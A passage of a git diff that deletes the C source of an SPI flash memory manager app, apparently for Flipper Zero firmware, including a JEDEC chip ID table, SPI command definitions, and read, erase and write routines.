SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, - 0x02, - 0x19, - "S25FL256S", - 33554432, - 256, - SPIMemChipVendorSPANSION, - SPIMemChipWriteModePage}, - {0xBF, 0x25, 0x41, "SST25VF016B", 2097152, 1, SPIMemChipVendorSST, SPIMemChipWriteModeAAIWord}, - {0xBF, 0x25, 0x8C, "SST25VF020B", 262144, 1, SPIMemChipVendorSST, SPIMemChipWriteModeAAIWord}, - {0xBF, 0x25, 0x4A, "SST25VF032B", 4194304, 1, SPIMemChipVendorSST, SPIMemChipWriteModeAAIWord}, - {0xBF, 0x25, 0x4B, "SST25VF064C", 8388608, 256, SPIMemChipVendorSST, SPIMemChipWriteModePage}, - {0xBF, 0x25, 0x8D, "SST25VF040B", 524288, 1, SPIMemChipVendorSST, SPIMemChipWriteModeAAIWord}, - {0xBF, 0x25, 0x8E, "SST25VF080B", 1048576, 1, SPIMemChipVendorSST, SPIMemChipWriteModeAAIWord}, - {0x20, 0x71, 0x15, "M25PX16", 2097152, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x71, 0x16, "M25PX32", 4194304, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x71, 0x17, "M25PX64", 8388608, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x71, 0x14, "M25PX80", 1048576, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x10, "ST25P05", 65536, 128, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x10, "ST25P05A", 65536, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x11, "ST25P10", 131072, 128, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x11, "ST25P10A", 131072, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "ST25P16", 2097152, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x12, "ST25P20", 262144, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x16, "ST25P32", 4194304, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x13, "ST25P40", 524288, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x17, "ST25P64", 8388608, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x14, "ST25P80", 1048576, 256, SPIMemChipVendorST, SPIMemChipWriteModePage}, - {0xEF, 0x10, 0x00, "W25P10", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x20, 0x15, "W25P16", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x11, 0x00, "W25P20", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x20, 0x16, "W25P32", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x12, 0x00, "W25P40", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x20, 0x17, "W25P64", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x20, 0x14, "W25P80", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x11, - "W25Q10EW_1.8V", - 131072, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x18, "W25Q128BV", 16777216, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x18, "W25Q128FV", 16777216, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x70, 0x18, "W25Q128JV", 16777216, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x19, "W25Q256FV", 33554432, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x19, "W25Q256JV", 33554432, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x70, 0x19, "W25Q256JV", 33554432, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x18, - "W25Q128FW_1.8V", - 16777216, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "W25Q16", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "W25Q16BV", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "W25Q16CL", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "W25Q16CV", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "W25Q16DV", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x15, - "W25Q16FW_1.8V", - 2097152, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "W25Q16V", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x12, "W25Q20CL", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x12, - "W25Q20EW_1.8V", - 262144, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x16, "W25Q32", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x16, "W25Q32BV", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x16, "W25Q32FV", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x16, - "W25Q32FW_1.8V", - 4194304, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x16, "W25Q32V", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x13, "W25Q40BL", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x13, "W25Q40BV", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x13, "W25Q40CL", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x13, - "W25Q40EW_1.8V", - 524288, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x17, "W25Q64BV", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x17, "W25Q64CV", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x17, "W25Q64FV", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x17, "W25Q64JV", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x17, - "W25Q64FW_1.8V", - 8388608, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x14, "W25Q80BL", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x14, "W25Q80BV", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x50, - 0x14, - "W25Q80BW_1.8V", - 1048576, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x14, "W25Q80DV", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, - 0x60, - 0x14, - "W25Q80EW_1.8V", - 1048576, - 256, - SPIMemChipVendorWINBOND, - SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x10, "W25X05", 65536, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x10, "W25X05CL", 65536, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x11, "W25X10AV", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x11, "W25X10BL", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x11, "W25X10BV", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x11, "W25X10CL", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x11, "W25X10L", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x11, "W25X10V", 131072, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x15, "W25X16", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x15, "W25X16AL", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x15, "W25X16AV", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x15, "W25X16BV", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x15, "W25X16V", 2097152, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20AL", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20AV", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20BL", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20BV", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20CL", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20L", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x12, "W25X20V", 262144, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x16, "W25X32", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x16, "W25X32AV", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x16, "W25X32BV", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x16, "W25X32V", 4194304, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40AL", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40AV", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40BL", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40BV", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40CL", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40L", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x13, "W25X40V", 524288, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x17, "W25X64", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x17, "W25X64BV", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x17, "W25X64V", 8388608, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x14, "W25X80AL", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x14, "W25X80AV", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x14, "W25X80BV", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x14, "W25X80L", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x30, 0x14, "W25X80V", 1048576, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x71, 0x19, "W25M512JV", 67108864, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x19, "W25R256JV", 33554432, 256, SPIMemChipVendorWINBOND, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x10, "TS25L512A", 65536, 256, SPIMemChipVendorZEMPRO, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x11, "TS25L010A", 131072, 256, SPIMemChipVendorZEMPRO, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x12, "TS25L020A", 262144, 256, SPIMemChipVendorZEMPRO, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "TS25L16AP", 2097152, 256, SPIMemChipVendorZEMPRO, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "TS25L16BP", 2097152, 256, SPIMemChipVendorZEMPRO, SPIMemChipWriteModePage}, - {0x37, 0x20, 0x15, "TS25L16P", 2097152, 256, SPIMemChipVendorZEMPRO, SPIMemChipWriteModePage}, - {0x5E, 0x40, 0x15, "ZB25D16", 2097152, 256, SPIMemChipVendorZbit, SPIMemChipWriteModePage}, - {0xE0, 0x40, 0x13, "BG25Q40A", 524288, 256, SPIMemChipVendorBerg_Micro, SPIMemChipWriteModePage}, - {0xE0, - 0x40, - 0x14, - "BG25Q80A", - 1048576, - 256, - SPIMemChipVendorBerg_Micro, - SPIMemChipWriteModePage}, - {0xE0, - 0x40, - 0x15, - "BG25Q16A", - 2097152, - 256, - SPIMemChipVendorBerg_Micro, - SPIMemChipWriteModePage}, - {0xE0, - 0x40, - 0x16, - "BG25Q32A", - 4194304, - 256, - SPIMemChipVendorBerg_Micro, - SPIMemChipWriteModePage}, - {0x1F, 0x23, 0x00, "AT45DB021D", 270336, 264, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x24, 0x00, "AT45DB041D", 540672, 264, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x26, 0x00, "AT45DB161D", 2162688, 528, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x27, 0x01, "AT45DB321D", 4325376, 528, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x43, 0x00, "AT25DF021", 262144, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x44, 0x00, "AT25DF041", 524288, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x44, 0x00, "AT25DF041A", 524288, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x84, 0x00, "AT25SF041", 524288, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x45, 0x00, "AT25DF081", 1048576, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x45, 0x00, "AT25DF081A", 1048576, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x46, 0x00, "AT25DF161", 2097152, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x47, 0x00, "AT25DF321", 4194304, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x47, 0x00, "AT25DF321A", 4194304, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x48, 0x00, "AT25DF641", 8388608, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x65, 0x00, "AT25F512B", 65536, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x45, 0x00, "AT26DF081", 1048576, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x45, 0x00, "AT26DF081A", 1048576, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x46, 0x00, "AT26DF161", 2097152, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x46, 0x00, "AT26DF161A", 2097152, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x47, 0x00, "AT26DF321", 4194304, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x47, 0x00, "AT26DF321A", 4194304, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0x1F, 0x04, 0x00, "AT26F004", 524288, 256, SPIMemChipVendorATMEL, SPIMemChipWriteModePage}, - {0xE0, - 0x60, - 0x18, - "ACE25A128G_1.8V", - 16777216, - 256, - SPIMemChipVendorACE, - SPIMemChipWriteModePage}, - {0x9B, 0x32, 0x16, "ATO25Q32", 4194304, 256, SPIMemChipVendorATO, SPIMemChipWriteModePage}, - {0x54, 0x40, 0x17, "DQ25Q64A", 8388608, 256, SPIMemChipVendorDOUQI, SPIMemChipWriteModePage}, - {0x0E, 0x40, 0x15, "FT25H16", 2097152, 256, SPIMemChipVendorFremont, SPIMemChipWriteModePage}, - {0xA1, 0x40, 0x13, "FM25Q04A", 524288, 256, SPIMemChipVendorFudan, SPIMemChipWriteModePage}, - {0xA1, 0x40, 0x16, "FM25Q32", 4194304, 256, SPIMemChipVendorFudan, SPIMemChipWriteModePage}, - {0xE0, 0x40, 0x14, "GT25Q80A", 1048576, 256, SPIMemChipVendorGenitop, SPIMemChipWriteModePage}, - {0xE0, 0x40, 0x13, "PN25F04A", 524288, 256, SPIMemChipVendorParagon, SPIMemChipWriteModePage}}; diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_i.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_i.h deleted file mode 100644 index 30d607094..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_chip_i.h +++ /dev/null @@ -1,85 +0,0 @@ -#pragma once - -#include -#include "spi_mem_chip.h" - -typedef enum { - SPIMemChipVendorUnknown, - SPIMemChipVendorADESTO, - SPIMemChipVendorAMIC, - SPIMemChipVendorBoya, - SPIMemChipVendorEON, - SPIMemChipVendorPFLASH, - SPIMemChipVendorTERRA, - SPIMemChipVendorGeneralplus, - SPIMemChipVendorDEUTRON, - SPIMemChipVendorEFST, - SPIMemChipVendorEXCELSEMI, - SPIMemChipVendorFIDELIX, - SPIMemChipVendorGIGADEVICE, - SPIMemChipVendorICE, - SPIMemChipVendorINTEL, - SPIMemChipVendorKHIC, - SPIMemChipVendorMACRONIX, - SPIMemChipVendorMICRON, - SPIMemChipVendorMSHINE, - SPIMemChipVendorNANTRONICS, - SPIMemChipVendorNEXFLASH, - SPIMemChipVendorNUMONYX, - SPIMemChipVendorPCT, - SPIMemChipVendorSPANSION, - SPIMemChipVendorSST, - SPIMemChipVendorST, - SPIMemChipVendorWINBOND, - SPIMemChipVendorZEMPRO, - SPIMemChipVendorZbit, - SPIMemChipVendorBerg_Micro, - SPIMemChipVendorATMEL, - SPIMemChipVendorACE, - SPIMemChipVendorATO, - SPIMemChipVendorDOUQI, - SPIMemChipVendorFremont, - SPIMemChipVendorFudan, - SPIMemChipVendorGenitop, - SPIMemChipVendorParagon -} SPIMemChipVendor; - -typedef enum { - SPIMemChipCMDReadJEDECChipID = 0x9F, - SPIMemChipCMDReadData = 0x03, - SPIMemChipCMDChipErase = 0xC7, - SPIMemChipCMDWriteEnable = 0x06, - SPIMemChipCMDWriteDisable = 0x04, - SPIMemChipCMDReadStatus = 0x05, - SPIMemChipCMDWriteData = 0x02, - SPIMemChipCMDReleasePowerDown = 0xAB -} SPIMemChipCMD; - -enum SPIMemChipStatusBit { - SPIMemChipStatusBitBusy = (0x01 << 0), - SPIMemChipStatusBitWriteEnabled = (0x01 << 1), - SPIMemChipStatusBitBitProtection1 = (0x01 << 2), - SPIMemChipStatusBitBitProtection2 = (0x01 << 3), - SPIMemChipStatusBitBitProtection3 = (0x01 << 4), - SPIMemChipStatusBitTopBottomProtection = (0x01 << 5), - SPIMemChipStatusBitSectorProtect = (0x01 << 6), - SPIMemChipStatusBitRegisterProtect = (0x01 << 7) -}; - -typedef struct { - const char* vendor_name; - SPIMemChipVendor vendor_enum; -} SPIMemChipVendorName; - -struct SPIMemChip { - uint8_t vendor_id; - uint8_t type_id; - uint8_t capacity_id; - const char* model_name; - size_t size; - size_t page_size; - SPIMemChipVendor vendor_enum; - SPIMemChipWriteMode write_mode; -}; - -extern const SPIMemChip SPIMemChips[]; diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.c deleted file mode 100644 index 3518ca25c..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.c +++ /dev/null @@ -1,152 +0,0 @@ -#include -#include -#include "spi_mem_chip_i.h" -#include "spi_mem_tools.h" - -static uint8_t spi_mem_tools_addr_to_byte_arr(uint32_t addr, uint8_t* cmd) { - uint8_t len = 3; // TODO(add support of 4 bytes address mode) - for(uint8_t i = 0; i < len; i++) { - cmd[i] = (addr >> ((len - (i + 1)) * 8)) & 0xFF; - } - return len; -} - -static bool spi_mem_tools_trx( - SPIMemChipCMD cmd, - uint8_t* tx_buf, - size_t tx_size, - uint8_t* rx_buf, - size_t rx_size) { - bool success = false; - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_external); - do { - if(!furi_hal_spi_bus_tx( - &furi_hal_spi_bus_handle_external, (uint8_t*)&cmd, 1, SPI_MEM_SPI_TIMEOUT)) - break; - if(tx_buf) { - if(!furi_hal_spi_bus_tx( - &furi_hal_spi_bus_handle_external, tx_buf, tx_size, SPI_MEM_SPI_TIMEOUT)) - break; - } - if(rx_buf) { - if(!furi_hal_spi_bus_rx( - &furi_hal_spi_bus_handle_external, rx_buf, rx_size, SPI_MEM_SPI_TIMEOUT)) - break; - } - success = true; - } while(0); - furi_hal_spi_release(&furi_hal_spi_bus_handle_external); - return success; -} - -static bool spi_mem_tools_write_buffer(uint8_t* data, size_t size, size_t offset) { - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_external); - uint8_t cmd = (uint8_t)SPIMemChipCMDWriteData; - uint8_t address[4]; - uint8_t address_size = spi_mem_tools_addr_to_byte_arr(offset, address); - bool success = false; - do { - if(!furi_hal_spi_bus_tx(&furi_hal_spi_bus_handle_external, &cmd, 1, SPI_MEM_SPI_TIMEOUT)) - break; - if(!furi_hal_spi_bus_tx( - &furi_hal_spi_bus_handle_external, address, address_size, SPI_MEM_SPI_TIMEOUT)) - break; - if(!furi_hal_spi_bus_tx(&furi_hal_spi_bus_handle_external, data, size, SPI_MEM_SPI_TIMEOUT)) - break; - success = true; - } while(0); - furi_hal_spi_release(&furi_hal_spi_bus_handle_external); - return success; -} - -bool spi_mem_tools_read_chip_info(SPIMemChip* chip) { - uint8_t rx_buf[3] = {0, 0, 0}; - do { - if(!spi_mem_tools_trx(SPIMemChipCMDReadJEDECChipID, NULL, 0, rx_buf, 3)) break; - if(rx_buf[0] == 0 || rx_buf[0] == 255) break; - chip->vendor_id = rx_buf[0]; - chip->type_id = rx_buf[1]; - chip->capacity_id = rx_buf[2]; - return true; - } while(0); - return false; -} - -bool spi_mem_tools_check_chip_info(SPIMemChip* chip) { - SPIMemChip new_chip_info; - spi_mem_tools_read_chip_info(&new_chip_info); - do { - if(chip->vendor_id != new_chip_info.vendor_id) break; - if(chip->type_id != new_chip_info.type_id) break; - if(chip->capacity_id != new_chip_info.capacity_id) break; - return true; - } while(0); - return false; -} - -bool spi_mem_tools_read_block(SPIMemChip* chip, size_t offset, uint8_t* data, size_t block_size) { - if(!spi_mem_tools_check_chip_info(chip)) return false; - for(size_t i = 0; i < block_size; i += SPI_MEM_MAX_BLOCK_SIZE) { - uint8_t cmd[4]; - if((offset + SPI_MEM_MAX_BLOCK_SIZE) > chip->size) return false; - if(!spi_mem_tools_trx( - SPIMemChipCMDReadData, - cmd, - spi_mem_tools_addr_to_byte_arr(offset, cmd), - data, - SPI_MEM_MAX_BLOCK_SIZE)) - return false; - offset += SPI_MEM_MAX_BLOCK_SIZE; - data += SPI_MEM_MAX_BLOCK_SIZE; - } - return true; -} - -size_t spi_mem_tools_get_file_max_block_size(SPIMemChip* chip) { - UNUSED(chip); - return (SPI_MEM_FILE_BUFFER_SIZE); -} - -SPIMemChipStatus spi_mem_tools_get_chip_status(SPIMemChip* chip) { - UNUSED(chip); - uint8_t status; - if(!spi_mem_tools_trx(SPIMemChipCMDReadStatus, NULL, 0, &status, 1)) - return SPIMemChipStatusError; - if(status & SPIMemChipStatusBitBusy) return SPIMemChipStatusBusy; - return SPIMemChipStatusIdle; -} - -static bool spi_mem_tools_set_write_enabled(SPIMemChip* chip, bool enable) { - UNUSED(chip); - uint8_t status; - SPIMemChipCMD cmd = SPIMemChipCMDWriteDisable; - if(enable) cmd = SPIMemChipCMDWriteEnable; - do { - if(!spi_mem_tools_trx(cmd, NULL, 0, NULL, 0)) break; - if(!spi_mem_tools_trx(SPIMemChipCMDReadStatus, NULL, 0, &status, 1)) break; - if(!(status & SPIMemChipStatusBitWriteEnabled) && enable) break; - if((status & SPIMemChipStatusBitWriteEnabled) && !enable) break; - return true; - } while(0); - return false; -} - -bool spi_mem_tools_erase_chip(SPIMemChip* chip) { - do { - if(!spi_mem_tools_set_write_enabled(chip, true)) break; - if(!spi_mem_tools_trx(SPIMemChipCMDChipErase, NULL, 0, NULL, 0)) break; - return true; - } while(0); - return true; -} - -bool spi_mem_tools_write_bytes(SPIMemChip* chip, size_t offset, uint8_t* data, size_t block_size) { - do { - if(!spi_mem_tools_check_chip_info(chip)) break; - if(!spi_mem_tools_set_write_enabled(chip, true)) break; - if((offset + block_size) > chip->size) break; - if(!spi_mem_tools_write_buffer(data, block_size, offset)) break; - return true; - } while(0); - return false; -} diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.h b/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.h deleted file mode 100644 index ad006b8ff..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_tools.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include "spi_mem_chip.h" - -#define SPI_MEM_SPI_TIMEOUT 1000 -#define SPI_MEM_MAX_BLOCK_SIZE 256 -#define SPI_MEM_FILE_BUFFER_SIZE 4096 - -bool spi_mem_tools_read_chip_info(SPIMemChip* chip); -bool spi_mem_tools_read_block(SPIMemChip* chip, size_t offset, uint8_t* data, size_t block_size); -size_t spi_mem_tools_get_file_max_block_size(SPIMemChip* chip); -SPIMemChipStatus spi_mem_tools_get_chip_status(SPIMemChip* chip); -bool spi_mem_tools_erase_chip(SPIMemChip* chip); -bool spi_mem_tools_write_bytes(SPIMemChip* chip, size_t offset, uint8_t* data, size_t block_size); diff --git a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.c b/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.c deleted file mode 100644 index 438f338f1..000000000 --- a/applications/external/spi_mem_manager/lib/spi/spi_mem_worker.c +++ /dev/null @@ -1,129 +0,0 @@ -#include "spi_mem_worker_i.h" - -typedef enum { - SPIMemEventStopThread = (1 << 0), - SPIMemEventChipDetect = (1 << 1), - SPIMemEventRead = (1 << 2), - SPIMemEventVerify = (1 << 3), - SPIMemEventErase = (1 << 4), - SPIMemEventWrite = (1 << 5), - SPIMemEventAll = - (SPIMemEventStopThread | SPIMemEventChipDetect | SPIMemEventRead | SPIMemEventVerify | - SPIMemEventErase | SPIMemEventWrite) -} SPIMemEventEventType; - -static int32_t spi_mem_worker_thread(void* thread_context); - -SPIMemWorker* spi_mem_worker_alloc() { - SPIMemWorker* worker = malloc(sizeof(SPIMemWorker)); - worker->callback = NULL; - worker->thread = furi_thread_alloc(); - worker->mode_index = SPIMemWorkerModeIdle; - furi_thread_set_name(worker->thread, "SPIMemWorker"); - furi_thread_set_callback(worker->thread, spi_mem_worker_thread); - furi_thread_set_context(worker->thread, worker); - furi_thread_set_stack_size(worker->thread, 10240); - return worker; -} - -void spi_mem_worker_free(SPIMemWorker* worker) { - furi_thread_free(worker->thread); - free(worker); -} - -bool spi_mem_worker_check_for_stop(SPIMemWorker* worker) { - UNUSED(worker); - uint32_t flags = furi_thread_flags_get(); - return (flags & SPIMemEventStopThread); -} - -static int32_t spi_mem_worker_thread(void* thread_context) { - SPIMemWorker* worker = thread_context; - while(true) { - uint32_t flags = furi_thread_flags_wait(SPIMemEventAll, FuriFlagWaitAny, FuriWaitForever); - if(flags != (unsigned)FuriFlagErrorTimeout) { - if(flags & SPIMemEventStopThread) break; - if(flags & SPIMemEventChipDetect) worker->mode_index = SPIMemWorkerModeChipDetect; - if(flags & SPIMemEventRead) 